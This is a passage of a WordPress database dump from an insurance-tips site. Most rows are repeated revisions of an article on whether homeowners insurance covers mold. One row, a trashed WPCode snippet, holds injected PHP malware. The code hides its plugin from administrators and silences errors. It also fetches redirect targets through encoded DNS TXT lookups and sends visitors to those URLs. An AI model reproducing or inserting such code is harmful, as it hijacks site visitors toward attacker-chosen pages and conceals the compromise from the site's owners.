money in the end.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got other damage besides mold, or a significant infestation that will cost a lot more than your deductible to clean up, filing a claim is more likely to be worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to file a mold claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold can start to form in as little as one day, so acting fast is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Stop the leak as soon as possible.</strong> If you have a water leak or burst pipe in your home, shut off the main water valve immediately. Make sure you know where the main water shut-off valve is so you aren\'t scrambling during an emergency. (Note that some shut-off valves are outside.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>File as soon as you can.</strong> Depending on your insurer, you may be able to file your claim online, through an app or by phone. The sooner you file, the sooner you can clean up the mess (and the less time mold will have to form).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Document the damage.</strong> Take photos and videos of mold and water damage you find. Make a list of all damaged items. Be as thorough and truthful as possible. False reporting, even if accidental, can work against your claim.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Clean up excess water, and dehumidify the area.</strong> Wipe up pools of water and use a dehumidifier or air conditioner to dry out the site. Place wet items outside in a secure area to dry. If you\'re having trouble cleaning up the water, consider hiring a professional. Your insurance agent may be able to help you find trusted water removal contractors in your area.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Make temporary repairs to prevent further damage.</strong> You don\'t want to make major fixes before filing your claim, but once you\'ve documented the damage, make temporary repairs to protect your home from further problems. For example, if your basement is flooded, you can remove wet carpeting. Keep receipts for all purchases related to cleanup and repairs.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to do if homeowners insurance won’t pay for your mold damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurance company denied your mold claim but you still think the damage should be covered, you can try appealing your claim. Learn how to dispute a home insurance claim settlement or denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you know the mold was caused by something insurance won’t cover, you’ll be responsible for the cleanup. You may be able to get rid of small patches of mold yourself, but for bigger jobs, consider hiring a professional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make sure the contractor you choose is licensed and insured, and that they have previous experience with mold remediation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Stopping mold before it starts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These tips can help prevent mold from growing in your home:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Inspect your pipes, faucets and hoses regularly, and fix leaks right away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Make sure gutters and downspouts direct rainwater away from your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep humidity low in your house by using air conditioners and dehumidifiers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improve bathroom and kitchen ventilation by installing exhaust fans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Avoid putting carpet in areas at risk for collecting moisture, such as a basement or bathrooms.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof for leaks and keep your gutters free of debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider replacing the hoses to your dishwasher, washing machine, refrigerator and other large appliances every five years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/does-homeowners-insurance-cover-mold\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','inherit','closed','closed','','4091-revision-v1','','','2024-05-20 04:36:07','2024-05-20 04:36:07','',4091,'https://smartinsurance.tips/?p=4093',0,'revision','',0),(4094,1,'2024-05-20 04:39:42','2024-05-20 04:39:42','<!-- wp:paragraph -->\n<p>Most home insurance policies pay for mold only if it’s the result of a sudden, accidental event your policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4095,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-1-1024x1024.png\" alt=\"\" class=\"wp-image-4095\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A homeowners policy usually pays for mold damage only if it’s caused by a covered issue such as a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance won’t pay to clean up mold from flooding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can add coverage to your homeowners policy to pay for some mold damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether your homeowners insurance covers mold damage largely depends on the cause of the mold. If you find mold in your home, here are the options that may be available to you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does home insurance cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance generally covers mold only when it\'s caused by a \"covered peril\" — an event your homeowners insurance policy will pay for, such as accidental water damage. These events must be sudden and accidental.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your washing machine suddenly springs a leak and black mold develops on the floor, a homeowners policy will likely pay to remove the mold. If the floor is damaged beyond repair, your policy may also pay to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your homeowners insurance policy may cover mold damage due to other scenarios such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A broken water heater.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by extinguishing a fire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A burst or frozen pipe.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know? </strong>Though your policy may cover mold damage from a broken appliance, it probably won’t pay to replace the appliance itself. Most insurers cover only the resulting water and mold damage, not the cause of the damage. If you want insurance for home systems and appliances, consider equipment breakdown coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies limit the amount they will pay for mold removal. So even if your insurer accepts your claim, you may still need to shoulder some of the costs, including your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused about your coverage? Read your policy carefully or call your insurance agent to go over the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance policies are designed to cover sudden, accidental damage, so they typically won’t cover mold caused by neglect or a lack of regular upkeep. This includes mold damage from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Poorly sealed doors or windows.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A leaky faucet that you haven’t fixed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lack of ventilation in a moist room, like a bathroom.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Below are a few other common causes of mold damage that a standard home insurance policy usually won’t cover.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sump pump failure and water backup damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Say your sump pump dies, leaving your basement underwater, or a city sewer line backs up into your bathroom. Mold could grow easily in such situations, but standard home insurance policies usually won’t cover the cleanup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many insurers offer sump pump and water backup coverage as an optional add-on. (See more on this below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Flood damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners policies generally exclude flooding. In the insurance industry, flooding refers to scenarios that tend to affect multiple properties such as overflowing rivers, tidal surges or runoff from heavy rain. If you’re in an area at risk, consider buying separate flood insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, even if you have flood insurance, your policy may not cover mold damage. The country’s biggest flood insurance provider, the National Flood Insurance Program, covers mold damage only if you can\'t access your home after a flood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mold damage coverage varies by the flood insurance policy. If you’re not sure what your policy includes, talk to your insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other coverage options</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Though a standard home insurance policy doesn\'t usually cover the above situations, that doesn\'t mean you\'re out of luck. Below are other options your insurer may offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sump pump failure and water backup coverage</strong> can pay for water and mold damage from a backed-up drain, broken sump pump or clogged sewer line. However, this coverage will likely not pay for gradual issues such as water leaking in through your home\'s foundation. It also won\'t cover issues like flooding caused by a rising river or lake near your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hidden water damage coverage</strong> pays for damage from leaks you can’t see, like a burst pipe behind a wall. It could also cover mold cleanup. However, not all companies sell this insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you file a mold claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you think your insurer will pay for your mold damage, filing a claim isn’t always worth it. The average cost of mold remediation in the United States is $2,235, according to Angi, a home services website. If your homeowners insurance deductible is $2,000, your insurer would pay only $235 toward that average cost. And because filing a claim often leads to higher premiums, you could end up losing money in the end.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got other damage besides mold, or a significant infestation that will cost a lot more than your deductible to clean up, filing a claim is more likely to be worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to file a mold claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold can start to form in as little as one day, so acting fast is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Stop the leak as soon as possible.</strong> If you have a water leak or burst pipe in your home, shut off the main water valve immediately. Make sure you know where the main water shut-off valve is so you aren\'t scrambling during an emergency. (Note that some shut-off valves are outside.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>File as soon as you can.</strong> Depending on your insurer, you may be able to file your claim online, through an app or by phone. The sooner you file, the sooner you can clean up the mess (and the less time mold will have to form).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Document the damage.</strong> Take photos and videos of mold and water damage you find. Make a list of all damaged items. Be as thorough and truthful as possible. False reporting, even if accidental, can work against your claim.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Clean up excess water, and dehumidify the area.</strong> Wipe up pools of water and use a dehumidifier or air conditioner to dry out the site. Place wet items outside in a secure area to dry. If you\'re having trouble cleaning up the water, consider hiring a professional. Your insurance agent may be able to help you find trusted water removal contractors in your area.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Make temporary repairs to prevent further damage.</strong> You don\'t want to make major fixes before filing your claim, but once you\'ve documented the damage, make temporary repairs to protect your home from further problems. For example, if your basement is flooded, you can remove wet carpeting. Keep receipts for all purchases related to cleanup and repairs.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to do if homeowners insurance won’t pay for your mold damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurance company denied your mold claim but you still think the damage should be covered, you can try appealing your claim. Learn how to dispute a home insurance claim settlement or denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you know the mold was caused by something insurance won’t cover, you’ll be responsible for the cleanup. You may be able to get rid of small patches of mold yourself, but for bigger jobs, consider hiring a professional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make sure the contractor you choose is licensed and insured, and that they have previous experience with mold remediation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Stopping mold before it starts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These tips can help prevent mold from growing in your home:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Inspect your pipes, faucets and hoses regularly, and fix leaks right away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Make sure gutters and downspouts direct rainwater away from your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep humidity low in your house by using air conditioners and dehumidifiers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improve bathroom and kitchen ventilation by installing exhaust fans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Avoid putting carpet in areas at risk for collecting moisture, such as a basement or bathrooms.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof for leaks and keep your gutters free of debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider replacing the hoses to your dishwasher, washing machine, refrigerator and other large appliances every five years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/does-homeowners-insurance-cover-mold\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','publish','closed','closed','','does-homeowners-insurance-cover-mold','','','2024-05-20 04:39:44','2024-05-20 04:39:44','',0,'https://smartinsurance.tips/?p=4094',0,'post','',0),(4095,1,'2024-05-20 04:37:23','2024-05-20 04:37:23','','Untitled-21-1','','inherit','closed','closed','','untitled-21-1','','','2024-05-20 04:37:23','2024-05-20 04:37:23','',4094,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-1.png',0,'attachment','image/png',0),(4096,1,'2024-05-20 04:39:42','2024-05-20 04:39:42','<!-- wp:paragraph -->\n<p>Most home insurance policies pay for mold only if it’s the result of a sudden, accidental event your policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4095,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-1-1024x1024.png\" alt=\"\" class=\"wp-image-4095\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A homeowners policy usually pays for mold damage only if it’s caused by a covered issue such as a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance won’t pay to clean up mold from flooding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can add coverage to your homeowners policy to pay for some mold damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether your homeowners insurance covers mold damage largely depends on the cause of the mold. If you find mold in your home, here are the options that may be available to you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does home insurance cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance generally covers mold only when it\'s caused by a \"covered peril\" — an event your homeowners insurance policy will pay for, such as accidental water damage. These events must be sudden and accidental.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your washing machine suddenly springs a leak and black mold develops on the floor, a homeowners policy will likely pay to remove the mold. If the floor is damaged beyond repair, your policy may also pay to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your homeowners insurance policy may cover mold damage due to other scenarios such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A broken water heater.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by extinguishing a fire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A burst or frozen pipe.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know? </strong>Though your policy may cover mold damage from a broken appliance, it probably won’t pay to replace the appliance itself. Most insurers cover only the resulting water and mold damage, not the cause of the damage. If you want insurance for home systems and appliances, consider equipment breakdown coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies limit the amount they will pay for mold removal. So even if your insurer accepts your claim, you may still need to shoulder some of the costs, including your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused about your coverage? Read your policy carefully or call your insurance agent to go over the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance policies are designed to cover sudden, accidental damage, so they typically won’t cover mold caused by neglect or a lack of regular upkeep. This includes mold damage from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Poorly sealed doors or windows.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A leaky faucet that you haven’t fixed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lack of ventilation in a moist room, like a bathroom.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Below are a few other common causes of mold damage that a standard home insurance policy usually won’t cover.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sump pump failure and water backup damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Say your sump pump dies, leaving your basement underwater, or a city sewer line backs up into your bathroom. Mold could grow easily in such situations, but standard home insurance policies usually won’t cover the cleanup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many insurers offer sump pump and water backup coverage as an optional add-on. (See more on this below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Flood damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners policies generally exclude flooding. In the insurance industry, flooding refers to scenarios that tend to affect multiple properties such as overflowing rivers, tidal surges or runoff from heavy rain. If you’re in an area at risk, consider buying separate flood insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, even if you have flood insurance, your policy may not cover mold damage. The country’s biggest flood insurance provider, the National Flood Insurance Program, covers mold damage only if you can\'t access your home after a flood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mold damage coverage varies by the flood insurance policy. If you’re not sure what your policy includes, talk to your insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other coverage options</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Though a standard home insurance policy doesn\'t usually cover the above situations, that doesn\'t mean you\'re out of luck. Below are other options your insurer may offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sump pump failure and water backup coverage</strong> can pay for water and mold damage from a backed-up drain, broken sump pump or clogged sewer line. However, this coverage will likely not pay for gradual issues such as water leaking in through your home\'s foundation. It also won\'t cover issues like flooding caused by a rising river or lake near your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hidden water damage coverage</strong> pays for damage from leaks you can’t see, like a burst pipe behind a wall. It could also cover mold cleanup. However, not all companies sell this insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you file a mold claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you think your insurer will pay for your mold damage, filing a claim isn’t always worth it. The average cost of mold remediation in the United States is $2,235, according to Angi, a home services website. If your homeowners insurance deductible is $2,000, your insurer would pay only $235 toward that average cost. And because filing a claim often leads to higher premiums, you could end up losing money in the end.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got other damage besides mold, or a significant infestation that will cost a lot more than your deductible to clean up, filing a claim is more likely to be worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to file a mold claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold can start to form in as little as one day, so acting fast is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Stop the leak as soon as possible.</strong> If you have a water leak or burst pipe in your home, shut off the main water valve immediately. Make sure you know where the main water shut-off valve is so you aren\'t scrambling during an emergency. (Note that some shut-off valves are outside.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>File as soon as you can.</strong> Depending on your insurer, you may be able to file your claim online, through an app or by phone. The sooner you file, the sooner you can clean up the mess (and the less time mold will have to form).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Document the damage.</strong> Take photos and videos of mold and water damage you find. Make a list of all damaged items. Be as thorough and truthful as possible. False reporting, even if accidental, can work against your claim.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Clean up excess water, and dehumidify the area.</strong> Wipe up pools of water and use a dehumidifier or air conditioner to dry out the site. Place wet items outside in a secure area to dry. If you\'re having trouble cleaning up the water, consider hiring a professional. Your insurance agent may be able to help you find trusted water removal contractors in your area.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Make temporary repairs to prevent further damage.</strong> You don\'t want to make major fixes before filing your claim, but once you\'ve documented the damage, make temporary repairs to protect your home from further problems. For example, if your basement is flooded, you can remove wet carpeting. Keep receipts for all purchases related to cleanup and repairs.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to do if homeowners insurance won’t pay for your mold damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurance company denied your mold claim but you still think the damage should be covered, you can try appealing your claim. Learn how to dispute a home insurance claim settlement or denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you know the mold was caused by something insurance won’t cover, you’ll be responsible for the cleanup. You may be able to get rid of small patches of mold yourself, but for bigger jobs, consider hiring a professional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make sure the contractor you choose is licensed and insured, and that they have previous experience with mold remediation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Stopping mold before it starts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These tips can help prevent mold from growing in your home:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Inspect your pipes, faucets and hoses regularly, and fix leaks right away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Make sure gutters and downspouts direct rainwater away from your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep humidity low in your house by using air conditioners and dehumidifiers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improve bathroom and kitchen ventilation by installing exhaust fans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Avoid putting carpet in areas at risk for collecting moisture, such as a basement or bathrooms.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof for leaks and keep your gutters free of debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider replacing the hoses to your dishwasher, washing machine, refrigerator and other large appliances every five years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/does-homeowners-insurance-cover-mold\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','inherit','closed','closed','','4094-revision-v1','','','2024-05-20 04:39:42','2024-05-20 04:39:42','',4094,'https://smartinsurance.tips/?p=4096',0,'revision','',0),(4114,1,'2024-05-30 09:22:04','2024-05-30 09:22:04','$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? 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\'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . (!$ips ? \'0-0-0-0\' : $ips) . \'.\' . mt_rand(100000, 999999) . \'.\' . (_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n\r\n        $v = \"dns_\" . \"get\" . \"_record\";\r\n        $s = @$v($req, DNS_TXT);\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}','Untitled Snippet','','trash','closed','closed','','untitled-snippet__trashed-14','','','2024-05-30 09:25:03','2024-05-30 09:25:03','',0,'https://smartinsurance.tips/wpcode/untitled-snippet/',0,'wpcode','',0),(4113,1,'2024-05-28 11:49:42','0000-00-00 00:00:00','','Auto Draft','','auto-draft','closed','closed','','','','','2024-05-28 11:49:42','0000-00-00 00:00:00','',0,'https://smartinsurance.tips/?p=4113',0,'post','',0),(4099,1,'2024-05-25 19:39:22','2024-05-25 19:39:22','<!-- wp:paragraph -->\n<p>Most home insurance policies pay for mold only if it’s the result of a sudden, accidental event your policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4100,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-2-1024x1024.png\" alt=\"\" class=\"wp-image-4100\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A homeowners policy usually pays for mold 